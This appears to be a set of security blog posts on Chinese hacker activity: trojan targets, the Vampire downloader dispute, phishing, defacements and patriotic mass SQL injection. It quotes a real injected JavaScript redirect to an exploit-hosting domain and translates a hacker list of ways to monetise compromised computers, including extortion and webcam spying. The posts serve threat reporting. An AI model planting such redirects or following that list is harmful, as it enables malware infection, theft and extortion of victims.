The Dark Visitor

One thing that has always interested me is the types of targets Chinese hackers seek out for attack. Since it is impossible for us to protect everything, or be everywhere, understanding the most likely targets should be a high priority. Of course this is only part of a comprehensive cyber security program but knowing how your adversary thinks is one area we need to explore.

An article in pchome.net gave the five most desired websites Chinese hackers sought out in order to hang trojans. Trojans have been the tool of choice for Chinese hackers since their first indigenously produced program Glacier was introduced into the cyber conflict with Taiwan in 1999.

According to pchome.net, these were the preferred websites:

1)

Government websites

: Government sites are chosen due to low-level security and the lack of specially trained security personnel. They do not bring financial gain but have the potential to influence public opinion. This type of attack “challenges authority” and brings about personal satisfaction for the hacker. A successful attack on a government website provides the attacker with recognition and fame.

2)

Medium and Small-Scale company websites

: Similar to government websites due to the lack of security. While these types of attacks to not bring about fame for the hacker, they are very good practice for the novice.

3)

Community websites

: Huge number of visitors, even if the trojan is only around for a short period of time, it can result in a large number of infected visitors. Although the value of the individual users is not as great as a financial website, the collective of infected users can be used to create a botnet. Furthermore, this allows the hacker to steal virtual game assets and QQ (ICQ) money.

4)

Financial websites

: This type of website does not have a larger number of users but the average individual has a high net worth. If a hacker is able to install a trojan here, they can gain user account passwords, access bank accounts and control stock securities. Although this type of website has very high security, it is the most desirable.

5)

E-commerce sites

: These website share the benefits of both community and financial websites and are the most lucrative. Hackers are able to manipulate price, supply/demand and control the online transactions. Furthermore, they can use trusted user accounts to construct phishing “activities.” E-commerce website are the most favored for hackers to carry out phishing exploits.

Army lessons learned: First rule in the Army is never present a problem without a solution. Solution, hire people like Jumper who are experts in preventing these types of attacks.

People often ask me if I am worried about this website getting hacked or shutdown by Chinese hackers…I tell them no, I have an excellent firewall…called Jumper.

I swear people have to sit around and think of phrases like this…from the WSJ:

In addition to cybersecurity threats in other countries, “so many people are going to the Olympics and are going to get electronically undressed,” said Joel Brenner, the government’s top counterintelligence officer. He tells of one computer-security expert who powered up a new Treo hand-held computer when his plane landed in China. By the time he got to his hotel, a handful of software programs had been wirelessly inserted.

More nudity here…

On the 21st of June, we told you about SKSgod selling a trojan downloader called “Chinese Hacker Vampire” and the online controversy that ensued when another hacker took credit for it.  The end? No, fresh drama has been introduced into this saga.

Author of Chinese Hacker Vampire Program JAILED!

On 4 July, News.cn reported that an 18-year-old hacker surnamed Zhou had been arrested in connection with selling the trojan downloader program.  Police from Chongqing City launched an investigation into the case after receiving a phone call from an anonymous source who reported that there was a website selling the Chinese Hacker Vampire downloader.  According to the report, Zhou’s website even threatened to shutdown the anti-virus software industry.

On July 1st,  Chongqing police captured Zhou while still asleep in his apartment and he later made a full confession to the crime.  The end? No.

Silly police, you can’t arrest a vampire

Decided to visit SKSgod’s website and see when he last posted and surprise…it was 5 July.  Wait, wasn’t he jailed on July 1st?  Nope.  SKSgod is just having a real run of bad luck with people stealing his program and identity.

On 5 July, he posts an apology to all the people who lost money purchasing the Chinese Vampire downloader and promised to use his energy to create a better program.  One person in the comments section suggested that his time and energy could be put to better use. So, that was funny.

On 4 July, when the story was breaking about the arrest, he posted three separate articles dealing with the rumor.  All three postings had the same theme, complaining about how all this news was hurting his reputation.

Is he at all concerned about the poor schmuck shown getting arrested? Nope, this is all about him and his online creds.  The end? Who knows.

According to HC360.com, with the end of Chinese college entrance exams (高考) and the start of registration, parents and students need to protect their online information from hackers.  The warning explains that while the internet contains a lot of relevant information about registration, it also has risks.

Digital Security Laboratories (sucop.com) is reminding parents of the students taking the exams to increase their vigilance and prevent incidents with hackers before they occur.  They list several methods the hackers commonly use to get information from the students:

1) The underground hacker industrial chain uses information on the college entrance examination in order to disseminate trojans and viruses.  The article further explains that this element of the underground economy is already in place and fully developed.   People engaged in this type of activity are highly adept at using social engineering to manipulate large-scale events such as the Olympics, disasters, entrance exams…etc. They used the information collected from online users for their own financial benefit.

2)  The underground transaction website: Online registration is now very common and some websites publicly advertise that the can alter student records, household registration and achievements.  This is just a way to cheat parents and students out of their money.

3) Some phishing websites are even a greater danger:  The hackers use these phishing websites to post false information and disrupt the registration process of the college.  They also solicit enrollment expenses from the students that do not exist.  Furthermore, they also use the site, combined with the methods mentioned above to get the student information to resell.  Hacker have also used loopholes in the college registration sites to blackmailed students by tampering with the data they entered on the online form.

New Chinese hacker program making the rounds called Chinese Vampire v2.2.1 (starving anti-virus) billed as a trojan downloader tool, ARP attack, QQ tail…etc. The screenshot below shows the downloader interface:

From what I have read about the tool, it is very effective. So effective in fact, that another Chinese hacker calling himself Sadness, from the Black Wolf hacker group, stole it. Yes, he did. Look at the trackback URLs associated with this screenshot compared to the one above (circled in red). Notice that our thief has changed it to the Black Wolf website instead of the www.9u9u9.cn address.

The true author of Vampire v2.2.1 runs the website pictured below and calls himself SKSgod…sigh. He was really unhappy with the theft of his property and posted a pretty nasty response to Sadness. Yeah, hacker on hacker violence doesn’t concern me in the least.

Now the truly exciting part of this post, there is also a female hacker involved in the marketing of this fine product named Jiajia (佳佳). Hmmm, you say…that name sounds familiar? Well it should! It is the same name as one of the members of the Six Golden Flowers.

Jiajia of the Six Golden Flowers

Is the same Jiajia? I don’t think it is but not sure. On her blog, this Jiajia claims that due to the controversy over the stolen program, there are only two legitimate sites to download Vampire v2.2.1. One is her site and the other at SKSgod’s. Yes, there was a picture associated with Jiajia’s website:

Now this girl certainly doesn’t look like Jiajia number one and she appears to be a bit younger. Also, the characters next to the picture said “Sleepless Night.” Hell, this could be the picture off an album cover (and yes I did try to see if I could find a record called Sleepless Night) for all I know. She may just be the Brittany Spears of China. Thought I would include it anyway…sue me.

Dear Chinese hacker master,

Sadly, I have all these compromised computers just laying around the place and don’t know what do with them, could you please help?!?

- Confucius…sed amateur

Dear Confused,

No need to be embarrassed, we have all experienced this dilemma at one time or another. Let me offer a few simple solutions to this common problem:

1. Steal virtual property from the compromised computer. Take their game account ID, QQ number and Q money.
2. Steal real property from the compromised computer. Real property can consist of bank accounts or online stock speculator account numbers. There are many types of trojans designed specifically for getting the account numbers of online stock speculators.
3. Steal people’s private data. Remember, just like the Edison Chen photo scandal, regular people can be extorted too if you threaten to release their explicit photos on the internet. Use their private information that could be harmful to blackmail them. If you steal commercial data such as financial reports and personnel records it can be used for your illegal benefit. Also, you can attempt to control their webcam in order to fill the desires of peeping toms.
4. Use the victim’s connections to get illegal benefits. Perhaps you think your QQ number is insignificant, you don’t have QQ 秀 (unclear) or QQ money. Not so, your friends QQ numbers, your e-mail contacts and cellphone contacts are all targets for the attacker. The attacker can fake your identity to carry out all manner of illegal activity. Everyone’s personal connections have commercial worth. The most common example of this is the 12950 service that used groups of QQ numbers to send out trash/spam? information to steal money or the MSN virus that automatically sent out information to your friends to defraud them. NOTE: the 12590 service could refer to this: Optional service Game treasure box makes the mobile into a game machine. A mobile QQ can go anywhere, 12586 online entertainment (that has many strange old friends), 12590 interactive message service (that has various voice monsters), CRBT and MMS (that are full of fun, personalized ring tones and pictures that can be downloaded anytime)……your enjoyment with these features is endless!
5. Plant rogue software on the compromised computer. This will make it automatically click online advertising for profit. This can really effect your online experience as I suspect everyone hates online pop-up ads. After the attacker controls a lot of compromised computers, they can force out ads and obtain profits from the ad owners. The number one reason for rogue software flooding is that many companies purchase rogue software developers’ advertisements. Other attackers use the rear platform? to covertly click on advertisements in order to gain profits. This causes the ad owner to waste money through invalid clicks.
6. Use the compromised computer as a springboard (proxy server) to attack other computers. Any type of hacker attack can leave behind traces and in order to better conceal yourself, it is necessary to use many proxy jumps. The compromised computers can act as an agent and a scapegoat. The attacker can disseminate even more trojans and think of your computer as a downloading station. It is a possibility that network speed and performance will be improved with proxy servers.
7. The compromised computer is the foot soldier to launch DDOS attacks. DDOS attacks can earn money for internet gangs or cyberwarfare (those who engage in it) as some people will hire these internet goons who initiate conflicts. Internet gang members can carry out an attack directly against their target and then blackmail the victim. Compromised computers are a chess piece for internet gangs and DDOS attacks have become a poisonous cancer for the internet.

Yep, a little fun in the beginning with this post (I made it up)  but the rest is a real list of uses for compromised computers put out by Chinese hackers.

I swear I heard the sound of people flipping their webcams towards the ceiling after reading number 3.

UPDATE: Hat-Tip to Therese who sets me straight on the definition of QQ 秀:

QQ 秀 == QQ “Show”

It’s one of the things that you can spend QQB on. You purchase outfits and accessories to dress up your little avatar. It’s like putting on a show. Therese also provides a Flickr link to “patriotism QQ-Show.”

http://www.flickr.com/photos/keso/2421813915/

Somehow I missed this article at Dark Reading on “whale phishing” by Chinese hackers:

SecureWorks, a leading security services provider, reported today that a Chinese hacker is behind the current and former executive “whaling phishing scams” involving the US Federal Courts and the IRS. The new US Tax Court scam, targeting financial executives, which started two weeks ago is the latest in a wave of whaling attacks involving the IRS and the Federal Courts beginning in June 2007. Jackson also just discovered that the same hacker launched an IRS whaling scam this past weekend and the SecureWorks Counter Threat Unit is investigating it currently.

Dark Reading has some excellent stuff, including the rest of this article…

One of the clearest instructional videos I have seen on how to use the Gray Pigeon trojan horse.  I haven’t tried to translate the video but thought it might be of interest to some of our more technically inclinded audience.  The first part describes how to use the program and the second part shows how the information is collected from an infected computer.

Video Removed (killing the rest of the posts)

Ordinarily, I’d try to obfuscate text on this subject but since we’re already GFW’d, who cares…

A couple of sites are reporting that the well-known Tibet independence writer Woeser has had all or many of her online accounts hijacked and her website defaced with an anti-splittist message. The Honkers Union of China has taken responsibility.  The honkers have used her Skype account to attempt to contact her associates.  No word if the contact list has been abused to send malware.  Interesting snippet from the article:

The hackers removed the content of the website and replaced it with a gif animation of the Chinese flag with the headline “LONG LIVE THE PEOPLE’S REPUBLIC OF CHINA! “DOWN WITH TIBET INDEPENDENCE!” Below the animation is a photo of Woeser with the words “Please remember this Tibetan separatist Woeser’s ugly face. Whoever sees this ugly face, please beat her hard like one beats a dog.” Further text was added and has apparently been changed several times in the hours since the site was hacked. The website is currently hosted on a server in the United States.

The website is still defaced at the time of this writing.

If I was in the business of spotting popular trends, the first thing I would do is a hire a Chinese hacker. While the rest of the world is passively watching events unfold around them, Chinese hackers are doing the math on how many people will participate and what online avenues are associated with them…like symbols.

According to an article in tech.ccidnet.com, hackers are using recent events and the patriotism they have inspired to spread a new trojan called, “Red Heart Robber.”  The snatching of the Olympic torch, the CNN incident, and earthquake in Sichuan have caused the Chinese online community to attach red hearts with the Chinese flag (and other variations) to their QQ sig and webpages to show support/sympathy for China.  When normal online users download the image of the red heart flag to show their support for China, a nasty little trojan is attached.

Attacking your own symbol of patriotism…not cool!

Benny from security4all.be sent Heike a link to an article at the Internet Storm Center that covers some patriotic mass SQL-Injection attacks.  The attacker appended this text to the bottom of every compromised index.htm file (this text was copied from the ISC and includes their edits):

“This is a mass invasion.        Safeguard the motherland’s dignity!
F*** FRANCE!  F*** CNN!  I WILL ATTACK you ALWAYS  !
I love my motherland!
sorry
Please understand that I
IF YOU WANT TO SAY SOMETHING .
PLEASE SEND EMAIL TO kiss117276@163.com “

Another site that Paul from pauldotcom.com found and contributed to ISC includes obfuscated javascript that includes a function to evaluate if the web browser is configured for PRC/Mainland Chinese - zh-cn.  Anyone who doesn’t have zh-cn gets redirected to a site hosting browser exploits.  Cool.  here is the code snippet from the ISC:

if (navigator.systemLanguage==’zh-cn‘){}else{document.writeln(”<iframe
src=http://www.ririwow.cn/index.htm” width=100 height=0></iframe>”);}

This reminds me of the patriotic virus that Heike blogged about a while ago that only exploited machines configured for the traditional Chinese character set (most mainland Chinese use simplified).

Thanks for the heads-up Benny!

Dancho Danchev has a really good analysis of the FirePack Exploitation kit localized to Chinese. Furthermore, he has some excellent thoughts on why they have chosen to localize these kits into their native language.

What is prompting Chinese users to translate these kits to their native language anyway? Is it the kit’s popularity, success rates, lack of alternatives…

Continue reading the whole article…here.

Used this chart was from IT Rising’s 2007 report on the computer virus epidemic:

To create this crappier but English version of the chart:

Sounds plausible to me…I guess…:

The FBI is investigating whether counterfeit routers and computer hardware from China installed in U.S. government computer networks might provide a secret gateway for hackers to tap into secure government databases.

Full article from ABC here…

I’ve seen a couple of articles like this on common Chinese hacker tools and finally decided to post one. The author points out that these are not the most sophisticated hacking tools in the world but when used correctly, can still be quite effective:

(Warning: I am not very good at tech xlations but will do my best. When possible, I will link to English articles explaining the tools. Hopefully, Jumper will fix, correct, delete if I’m too far off.)

1. Glacier - A [Remote Access] Trojan that open